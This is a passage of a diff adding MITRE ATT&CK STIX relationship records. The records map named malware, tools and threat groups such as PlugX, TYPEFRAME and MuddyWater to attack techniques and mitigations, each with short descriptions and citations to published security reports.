"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--21a00e2e-b068-4aff-ab8e-ec3dd6e29c5c", + "external_references": [ + { + "source_name": "Cylance Dust Storm", + "description": "Gross, J. (2016, February 23). Operation Dust Storm. Retrieved September 19, 2017.", + "url": "https://www.cylance.com/content/dam/cylance/pdfs/reports/Op_Dust_Storm_Report.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--0db09158-6e48-4e7c-8ce7-2b10b9c0c039", + "relationship_type": "uses", + "target_ref": "attack-pattern--f72eb8a8-cd4c-461d-a814-3f862befbf00" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[PlugX](https://attack.mitre.org/software/S0013) has used DLL side-loading to evade anti-virus.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--464ce0ed-31a5-4a99-9791-9ce5bb987f58", + "external_references": [ + { + "source_name": "FireEye Clandestine Fox Part 2", + "description": "Scott, M.. (2014, June 10). Clandestine Fox, Part Deux. Retrieved January 14, 2016.", + "url": "https://www.fireeye.com/blog/threat-research/2014/06/clandestine-fox-part-deux.html" + }, + { + "source_name": "Dell TG-3390", + "description": "Dell SecureWorks Counter Threat Unit Threat Intelligence. (2015, August 5). Threat Group-3390 Targets Organizations for Cyberespionage. Retrieved August 18, 2018.", + "url": "https://www.secureworks.com/research/threat-group-3390-targets-organizations-for-cyberespionage" + }, + { + "source_name": "Stewart 2014", + "description": "Stewart, A. (2014). DLL SIDE-LOADING: A Thorn in the Side of the Anti-Virus Industry. Retrieved November 12, 2014.", + "url": "https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-dll-sideloading.pdf" + }, + { + "source_name": "PWC Cloud Hopper Technical Annex April 2017", + "description": "PwC and BAE Systems. (2017, April). Operation Cloud Hopper: Technical Annex. Retrieved April 13, 2017.", + "url": "https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-annex-b-final.pdf" + }, + { + "source_name": "Palo Alto PlugX June 2017", + "description": "Lancaster, T. and Idrizovic, E.. (2017, June 27). Paranoid PlugX. Retrieved July 13, 2017.", + "url": "https://researchcenter.paloaltonetworks.com/2017/06/unit42-paranoid-plugx/" + } + ], + "modified": "2019-04-19T15:08:15.847Z", + "source_ref": "malware--64fa0de0-6240-41f4-8638-f4ca7ed528fd", + "relationship_type": "uses", + "target_ref": "attack-pattern--b2001907-166b-4d71-bb3c-9d26c871de09" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Pupy](https://attack.mitre.org/software/S0192) uses PowerView and Pywerview to perform discovery commands such as net user, net group, net local group, etc.", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--bdb0d192-3d82-4e5b-92bc-7ef24fd3e65b", + "external_references": [ + { + "source_name": "GitHub Pupy", + "description": "Nicolas Verdier. (n.d.). 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Retrieved July 31, 2018.", + "url": "https://www.securityartwork.es/wp-content/uploads/2017/07/Trickbot-report-S2-Grupo.pdf" + }, + { + "source_name": "Fidelis TrickBot Oct 2016", + "description": "Reaves, J. (2016, October 15). TrickBot: We Missed you, Dyre. Retrieved August 2, 2018.", + "url": "https://www.fidelissecurity.com/threatgeek/2016/10/trickbot-we-missed-you-dyre" + } + ], + "modified": "2019-06-24T19:15:06.617Z", + "source_ref": "malware--00806466-754d-44ea-ad6f-0caf59cb8556", + "relationship_type": "uses", + "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-05-10T12:14:32.237Z", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--0b7d2d81-0d74-4365-a8ca-d70974c84a57", + "external_references": [ + { + "source_name": "Microsoft PLATINUM April 2016", + "description": "Windows Defender Advanced Threat Hunting Team. (2016, April 29). PLATINUM: Targeted attacks in South and Southeast Asia. Retrieved February 15, 2018.", + "url": "https://download.microsoft.com/download/2/2/5/225BFE3E-E1DE-4F5B-A77B-71200928D209/Platinum%20feature%20article%20-%20Targeted%20attacks%20in%20South%20and%20Southeast%20Asia%20April%202016.pdf" + } + ], + "source_ref": "intrusion-set--f9c06633-dcff-48a1-8588-759e7cec5694", + "relationship_type": "uses", + "target_ref": "malware--de6cb631-52f6-4169-a73b-7965390b0c30" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[OnionDuke](https://attack.mitre.org/software/S0052) uses Twitter as a backup C2 method. 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Retrieved December 10, 2015.", + "url": "https://www.f-secure.com/documents/996508/1030745/dukes_whitepaper.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--b136d088-a829-432c-ac26-5529c26d4c7e", + "relationship_type": "uses", + "target_ref": "attack-pattern--830c9528-df21-472c-8c14-a036bf17d665" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[UACMe](https://attack.mitre.org/software/S0116) contains many methods for bypassing Windows User Account Control on multiple versions of the operating system.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--ecd83e69-2eb1-4c2d-a01f-e42ea8f807f9", + "external_references": [ + { + "source_name": "Github UACMe", + "description": "UACME Project. (2016, June 16). UACMe. Retrieved July 26, 2016.", + "url": "https://github.com/hfiref0x/UACME" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "tool--102c3898-85e0-43ee-ae28-62a0a3ed9507", + "relationship_type": "uses", + "target_ref": "attack-pattern--ca1a3f50-5ebd-41f8-8320-2c7d6a6e88be" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[RogueRobin](https://attack.mitre.org/software/S0270) enumerates running processes to search for Wireshark and Windows Sysinternals suite.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--992ffd2b-bac7-418c-a401-b2be739818c9", + "external_references": [ + { + "source_name": "Unit 42 DarkHydrus July 2018", + "description": "Falcone, R., et al. (2018, July 27). New Threat Actor Group DarkHydrus Targets Middle East Government. Retrieved August 2, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/07/unit42-new-threat-actor-group-darkhydrus-targets-middle-east-government/" + }, + { + "source_name": "Unit42 DarkHydrus Jan 2019", + "description": "Lee, B., Falcone, R. (2019, January 18). DarkHydrus delivers new Trojan that can use Google Drive for C2 communications. Retrieved April 17, 2019.", + "url": "https://unit42.paloaltonetworks.com/darkhydrus-delivers-new-trojan-that-can-use-google-drive-for-c2-communications/" + } + ], + "modified": "2019-04-24T23:55:43.387Z", + "source_ref": "malware--8ec6e3b4-b06d-4805-b6aa-af916acc2122", + "relationship_type": "uses", + "target_ref": "attack-pattern--241814ae-de3f-4656-b49e-f9a80764d4b7" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[BRONZE BUTLER](https://attack.mitre.org/groups/G0060) has used various tools to download files, including DGet (a similar tool to wget).", + "type": "relationship", + "created": "2018-01-16T16:13:52.465Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--d7c5e4f4-cede-4a81-b46f-035b9e702e61", + "external_references": [ + { + "source_name": "Secureworks BRONZE BUTLER Oct 2017", + "description": "Counter Threat Unit Research Team. (2017, October 12). BRONZE BUTLER Targets Japanese Enterprises. Retrieved January 4, 2018.", + "url": "https://www.secureworks.com/research/bronze-butler-targets-japanese-businesses" + } + ], + "modified": "2019-03-22T19:57:37.314Z", + "source_ref": "intrusion-set--93f52415-0fe4-4d3d-896c-fc9b8e88ab90", + "relationship_type": "uses", + "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[TYPEFRAME](https://attack.mitre.org/software/S0263) can execute commands using a shell.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--c7216b7e-6469-4e00-94d4-9e5ee2a0e99e", + "external_references": [ + { + "source_name": "US-CERT TYPEFRAME June 2018", + "description": "US-CERT. (2018, June 14). MAR-10135536-12 \u2013 North Korean Trojan: TYPEFRAME. Retrieved July 13, 2018.", + "url": "https://www.us-cert.gov/ncas/analysis-reports/AR18-165A" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--7ba0fc46-197d-466d-8b9f-f1c64d5d81e5", + "relationship_type": "uses", + "target_ref": "attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[ZeroT](https://attack.mitre.org/software/S0230) can add a new service to ensure [PlugX](https://attack.mitre.org/software/S0013) persists on the system when delivered as another payload onto the system.", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--1d3c31c2-6756-483a-8aee-736bac591c1a", + "external_references": [ + { + "source_name": "Proofpoint ZeroT Feb 2017", + "description": "Huss, D., et al. (2017, February 2). Oops, they did it again: APT Targets Russia and Belarus with ZeroT and PlugX. Retrieved April 5, 2018.", + "url": "https://www.proofpoint.com/us/threat-insight/post/APT-targets-russia-belarus-zerot-plugx" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--4ab44516-ad75-4e43-a280-705dc0420e2f", + "relationship_type": "uses", + "target_ref": "attack-pattern--478aa214-2ca7-4ec0-9978-18798e514790" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-04-29T18:13:09.363Z", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--1c12b31e-7f17-4e00-a6b5-7eddb5828f34", + "external_references": [ + { + "source_name": "US-CERT BADCALL", + "description": "US-CERT. (2018, February 06). Malware Analysis Report (MAR) - 10135536-G. Retrieved June 7, 2018.", + "url": "https://www.us-cert.gov/sites/default/files/publications/MAR-10135536-G.PDF" + } + ], + "source_ref": "intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a", + "relationship_type": "uses", + "target_ref": "malware--9dbdadb6-fdbf-490f-a35f-38762d06a0d2" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "A [TYPEFRAME](https://attack.mitre.org/software/S0263) variant uses fake TLS to communicate with the C2 server.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--ce71fe23-3f12-4a7c-9966-5822cdce29d3", + "external_references": [ + { + "source_name": "US-CERT TYPEFRAME June 2018", + "description": "US-CERT. (2018, June 14). MAR-10135536-12 \u2013 North Korean Trojan: TYPEFRAME. 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Retrieved December 10, 2015.", + "url": "https://www.f-secure.com/documents/996508/1030745/dukes_whitepaper.pdf" + } + ], + "source_ref": "intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542", + "relationship_type": "uses", + "target_ref": "malware--199463de-d9be-46d6-bb41-07234c1dd5a6" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Havij](https://attack.mitre.org/software/S0224) is used to automate SQL injection.", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--ced175fd-1f27-44cb-8d7f-44277b1754e4", + "external_references": [ + { + "source_name": "Check Point Havij Analysis", + "description": "Ganani, M. (2015, May 14). Analysis of the Havij SQL Injection tool. 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Retrieved May 22, 2018.", + "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/lazarus-campaign-targeting-cryptocurrencies-reveals-remote-controller-tool-evolved-ratankba/" + } + ], + "source_ref": "intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a", + "relationship_type": "uses", + "target_ref": "malware--9b325b06-35a1-457d-be46-a4ecc0b7ff0c" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Reaver](https://attack.mitre.org/software/S0172) collects the victim's IP address.", + "type": "relationship", + "created": "2018-01-16T16:13:52.465Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--f6cb3957-be7f-41bf-ad44-3dfbd7a5dfe2", + "external_references": [ + { + "source_name": "Palo Alto Reaver Nov 2017", + "description": "Grunzweig, J. and Miller-Osborn, J. (2017, November 10). New Malware with Ties to SunOrcal Discovered. Retrieved November 16, 2017.", + "url": "https://researchcenter.paloaltonetworks.com/2017/11/unit42-new-malware-with-ties-to-sunorcal-discovered/" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--65341f30-bec6-4b1d-8abf-1a5620446c29", + "relationship_type": "uses", + "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[ZLib](https://attack.mitre.org/software/S0086) has the ability to enumerate files and drives.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--50271beb-48b1-411e-86b5-990b4cbb1fb5", + "external_references": [ + { + "source_name": "Cylance Dust Storm", + "description": "Gross, J. (2016, February 23). Operation Dust Storm. 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(2015, July 13). \u201cForkmeiamfamous\u201d: Seaduke, latest weapon in the Duke armory. Retrieved July 22, 2015.", + "url": "http://www.symantec.com/connect/blogs/forkmeiamfamous-seaduke-latest-weapon-duke-armory" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--67e6d66b-1b82-4699-b47a-e2efb6268d14", + "relationship_type": "uses", + "target_ref": "attack-pattern--b17a1a56-e99c-403c-8948-561df0cffe81" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[T9000](https://attack.mitre.org/software/S0098) encrypts collected data using a single byte XOR key.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--bb11119c-c409-4615-8c3f-8491749f2d3b", + "external_references": [ + { + "source_name": "Palo Alto T9000 Feb 2016", + "description": "Grunzweig, J. and Miller-Osborn, J.. (2016, February 4). T9000: Advanced Modular Backdoor Uses Complex Anti-Analysis Techniques. Retrieved April 15, 2016.", + "url": "http://researchcenter.paloaltonetworks.com/2016/02/t9000-advanced-modular-backdoor-uses-complex-anti-analysis-techniques/" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--876f6a77-fbc5-4e13-ab1a-5611986730a3", + "relationship_type": "uses", + "target_ref": "attack-pattern--d54416bd-0803-41ca-870a-ce1af7c05638" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[gh0st RAT](https://attack.mitre.org/software/S0032) is able to open a remote shell to execute commands.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--68852bf2-c3cf-4d59-b1c1-f6af8fb61be6", + "external_references": [ + { + "source_name": "FireEye Hacking Team", + "description": "FireEye Threat Intelligence. (2015, July 13). Demonstrating Hustle, Chinese APT Groups Quickly Use Zero-Day Vulnerability (CVE-2015-5119) Following Hacking Team Leak. Retrieved January 25, 2016.", + "url": "https://www.fireeye.com/blog/threat-research/2015/07/demonstrating_hustle.html" + }, + { + "source_name": "Nccgroup Gh0st April 2018", + "description": "Pantazopoulos, N. (2018, April 17). Decoding network data from a Gh0st RAT variant. Retrieved November 2, 2018.", + "url": "https://www.nccgroup.trust/us/about-us/newsroom-and-events/blog/2018/april/decoding-network-data-from-a-gh0st-rat-variant/" + } + ], + "modified": "2019-04-16T20:26:40.893Z", + "source_ref": "malware--88c621a7-aef9-4ae0-94e3-1fc87123eb24", + "relationship_type": "uses", + "target_ref": "attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[OilRig](https://attack.mitre.org/groups/G0049) has sent spearphising emails with malicious attachments to potential victims using compromised and/or spoofed email accounts.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--a025d011-6e46-4d3a-a9f7-31324027b7cf", + "external_references": [ + { + "source_name": "Unit 42 OopsIE! Feb 2018", + "description": "Lee, B., Falcone, R. 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Retrieved December 18, 2018.", + "url": "https://www.crowdstrike.com/blog/meet-crowdstrikes-adversary-of-the-month-for-november-helix-kitten/" + } + ], + "modified": "2019-07-17T16:17:30.158Z", + "source_ref": "intrusion-set--4ca1929c-7d64-4aab-b849-badbfc0c760d", + "relationship_type": "uses", + "target_ref": "attack-pattern--6aac77c4-eaf2-4366-8c13-ce50ab951f38" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Catchamas](https://attack.mitre.org/software/S0261) adds a new service named NetAdapter in an apparent attempt to masquerade as a legitimate service.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--b4c195b6-7b1f-4320-8040-e91c11ec8cbb", + "external_references": [ + { + "source_name": "Symantec Catchamas April 2018", + "description": "Balanza, M. (2018, April 02). Infostealer.Catchamas. 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Retrieved September 14, 2017.", + "url": "https://www.cylance.com/content/dam/cylance/pages/operation-cleaver/Cylance_Operation_Cleaver_Report.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--c0c45d38-fe57-4cd4-b2b2-9ecd0ddd4ca9", + "relationship_type": "uses", + "target_ref": "attack-pattern--970cdb5c-02fb-4c38-b17e-d6327cf3c810" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[DustySky](https://attack.mitre.org/software/S0062) checks for the existence of anti-virus.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--ad50f322-18b6-43c7-bf6b-f77f4932fdad", + "external_references": [ + { + "source_name": "DustySky", + "description": "ClearSky. (2016, January 7). Operation DustySky. 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Retrieved January 29, 2018.", + "url": "https://github.com/n1nj4sec/pupy" + } + ], + "modified": "2019-04-24T17:52:47.942Z", + "source_ref": "tool--cb69b20d-56d0-41ab-8440-4a4b251614d4", + "relationship_type": "uses", + "target_ref": "attack-pattern--f4882e23-8aa7-4b12-b28a-b349c12ee9e0" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[TinyZBot](https://attack.mitre.org/software/S0004) can disable Avira anti-virus.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--bdde6ad0-b6eb-4e3a-80e4-8a9db6a9570d", + "external_references": [ + { + "source_name": "Cylance Cleaver", + "description": "Cylance. (2014, December). Operation Cleaver. Retrieved September 14, 2017.", + "url": "https://www.cylance.com/content/dam/cylance/pages/operation-cleaver/Cylance_Operation_Cleaver_Report.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--c0c45d38-fe57-4cd4-b2b2-9ecd0ddd4ca9", + "relationship_type": "uses", + "target_ref": "attack-pattern--2e0dd10b-676d-4964-acd0-8a404c92b044" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Calisto](https://attack.mitre.org/software/S0274) uses the zip -r command to compress the data collected on the local system.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--cca64a18-4601-4169-9a8e-63036403940f", + "external_references": [ + { + "source_name": "Securelist Calisto July 2018", + "description": "Kuzin, M., Zelensky S. (2018, July 20). Calisto Trojan for macOS. Retrieved September 7, 2018.", + "url": "https://securelist.com/calisto-trojan-for-macos/86543/" + }, + { + "source_name": "Symantec Calisto July 2018", + "description": "Pantig, J. (2018, July 30). OSX.Calisto. Retrieved September 7, 2018.", + "url": "https://www.symantec.com/security-center/writeup/2018-073014-2512-99?om_rssid=sr-latestthreats30days" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--b8fdef82-d2cf-4948-8949-6466357b1be1", + "relationship_type": "uses", + "target_ref": "attack-pattern--b9f5dbe2-4c55-4fc5-af2e-d42c1d182ec4" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Trojan.Karagany](https://attack.mitre.org/software/S0094) can upload, download, and execute files on the victim.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--7282eabe-73e0-4a10-824b-f18df7f892e2", + "external_references": [ + { + "source_name": "Symantec Dragonfly", + "description": "Symantec Security Response. (2014, July 7). Dragonfly: Cyberespionage Attacks Against Energy Suppliers. Retrieved April 8, 2016.", + "url": "http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/Dragonfly_Threat_Against_Western_Energy_Suppliers.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--82cb34ba-02b5-432b-b2d2-07f55cbf674d", + "relationship_type": "uses", + "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-03-25T14:17:43.377Z", + "type": "relationship", + "created": "2017-05-31T21:33:27.064Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--8859897c-66f5-4754-8cb8-2c6e6b8b8e2e", + "external_references": [ + { + "source_name": "Spring Dragon Jun 2015", + "description": "Baumgartner, K.. (2015, June 17). The Spring Dragon APT. Retrieved February 15, 2016.", + "url": "https://securelist.com/the-spring-dragon-apt/70726/" + }, + { + "source_name": "Accenture Dragonfish Jan 2018", + "description": "Accenture Security. (2018, January 27). DRAGONFISH DELIVERS NEW FORM OF ELISE MALWARE TARGETING ASEAN DEFENCE MINISTERS\u2019 MEETING AND ASSOCIATES. Retrieved November 14, 2018.", + "url": "https://www.accenture.com/t20180127T003755Z_w_/us-en/_acnmedia/PDF-46/Accenture-Security-Dragonfish-Threat-Analysis.pdf" + } + ], + "source_ref": "intrusion-set--88b7dbc2-32d3-4e31-af2f-3fc24e1582d7", + "relationship_type": "uses", + "target_ref": "malware--7551188b-8f91-4d34-8350-0d0c57b2b913" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[XTunnel](https://attack.mitre.org/software/S0117) is capable of downloading additional files.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--59aabb7b-9211-4577-9c6b-ba2cf6e3704c", + "external_references": [ + { + "source_name": "Invincea XTunnel", + "description": "Belcher, P.. (2016, July 28). Tunnel of Gov: DNC Hack and the Russian XTunnel. Retrieved August 3, 2016.", + "url": "https://www.invincea.com/2016/07/tunnel-of-gov-dnc-hack-and-the-russian-xtunnel/" + } + ], + "modified": "2019-04-19T18:36:31.962Z", + "source_ref": "malware--7343e208-7cab-45f2-a47b-41ba5e2f0fab", + "relationship_type": "uses", + "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-07-25T11:50:34.752Z", + "type": "relationship", + "id": "relationship--116249f4-b71c-409e-ad9d-7d59d1297d69", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "created": "2018-04-18T17:59:24.739Z", + "source_ref": "course-of-action--8f6b5ca6-263a-4ea9-98f3-afd2a3cd8119", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--6aac77c4-eaf2-4366-8c13-ce50ab951f38" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[OwaAuth](https://attack.mitre.org/software/S0072) uses the filename owaauth.dll, which is a legitimate file that normally resides in %ProgramFiles%\\Microsoft\\Exchange Server\\ClientAccess\\Owa\\Auth\\; the malicious file by the same name is saved in %ProgramFiles%\\Microsoft\\Exchange Server\\ClientAccess\\Owa\\bin\\.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--1088fc27-2de5-4b73-83fd-6741ab3ff4d6", + "external_references": [ + { + "source_name": "Dell TG-3390", + "description": "Dell SecureWorks Counter Threat Unit Threat Intelligence. (2015, August 5). Threat Group-3390 Targets Organizations for Cyberespionage. Retrieved August 18, 2018.", + "url": "https://www.secureworks.com/research/threat-group-3390-targets-organizations-for-cyberespionage" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--a60657fa-e2e7-4f8f-8128-a882534ae8c5", + "relationship_type": "uses", + "target_ref": "attack-pattern--42e8de7b-37b2-4258-905a-6897815e58e0" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[MuddyWater](https://attack.mitre.org/groups/G0069) has used Daniel Bohannon\u2019s Invoke-Obfuscation framework. The group has also used other obfuscation methods, including Base64 obfuscation of VBScripts and PowerShell commands.", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--5c2cd95f-9c3a-4893-9a5f-960cfed62572", + "external_references": [ + { + "source_name": "Unit 42 MuddyWater Nov 2017", + "description": "Lancaster, T.. (2017, November 14). Muddying the Water: Targeted Attacks in the Middle East. Retrieved March 15, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2017/11/unit42-muddying-the-water-targeted-attacks-in-the-middle-east/" + }, + { + "source_name": "GitHub Invoke-Obfuscation", + "description": "Bohannon, D.. (2017, March 13). Invoke-Obfuscation - PowerShell Obfuscator. Retrieved June 18, 2017.", + "url": "https://github.com/danielbohannon/Invoke-Obfuscation" + }, + { + "source_name": "Unit 42 MuddyWater Nov 2017", + "description": "Lancaster, T.. (2017, November 14). Muddying the Water: Targeted Attacks in the Middle East. Retrieved March 15, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2017/11/unit42-muddying-the-water-targeted-attacks-in-the-middle-east/" + }, + { + "source_name": "FireEye MuddyWater Mar 2018", + "description": "Singh, S. et al.. (2018, March 13). Iranian Threat Group Updates Tactics, Techniques and Procedures in Spear Phishing Campaign. Retrieved April 11, 2018.", + "url": "https://www.fireeye.com/blog/threat-research/2018/03/iranian-threat-group-updates-ttps-in-spear-phishing-campaign.html" + }, + { + "source_name": "Securelist MuddyWater Oct 2018", + "description": "Kaspersky Lab's Global Research & Analysis Team. (2018, October 10). MuddyWater expands operations. Retrieved November 2, 2018.", + "url": "https://securelist.com/muddywater/88059/" + }, + { + "source_name": "Talos MuddyWater May 2019", + "description": "Adamitis, D. et al. (2019, May 20). Recent MuddyWater-associated BlackWater campaign shows signs of new anti-detection techniques. Retrieved June 5, 2019.", + "url": "https://blog.talosintelligence.com/2019/05/recent-muddywater-associated-blackwater.html" + } + ], + "modified": "2019-06-28T15:30:58.625Z", + "source_ref": "intrusion-set--269e8108-68c6-4f99-b911-14b2e765dec2", + "relationship_type": "uses", + "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Derusbi](https://attack.mitre.org/software/S0021) collects current and parent process IDs.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": 